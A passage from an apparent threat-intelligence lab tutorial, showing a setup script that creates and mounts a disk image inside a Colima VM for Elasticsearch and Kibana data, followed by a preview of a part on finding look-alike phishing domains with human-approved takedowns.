setup-disk.sh
Only for the Colima case in the box above. The path is where the script sits.
#!/bin/sh
# Only needed when the Docker VM disk has no free space for non-root writes (our case, Colima on a Mac).
# Makes a 10 GB sparse ext4 image and mounts it inside the Colima VM at /mnt/es-lab.
P="$(cd "$(dirname "$0")" && pwd)"
colima ssh -- sudo sh -c "truncate -s 10G $P/es-lab.img && mkfs.ext4 -q -F $P/es-lab.img && mkdir -p /mnt/es-lab && mount -o loop $P/es-lab.img /mnt/es-lab && mkdir -p /mnt/es-lab/es-data /mnt/es-lab/kibana-data && chown -R 1000:1000 /mnt/es-lab"
Next: A dnstwist Brand and Phishing Watch
This agent read logs and incidents. Part 6 turns to the outside of the company. It runs dnstwist and crt.sh to find look-alike domains, checks them with the Brandefense MCP stand-in, and drafts a takedown that a person must approve before anything is sent.
The full map of the series, and the ideas behind it, is on the Agentic Threat Intelligence 101 guide.
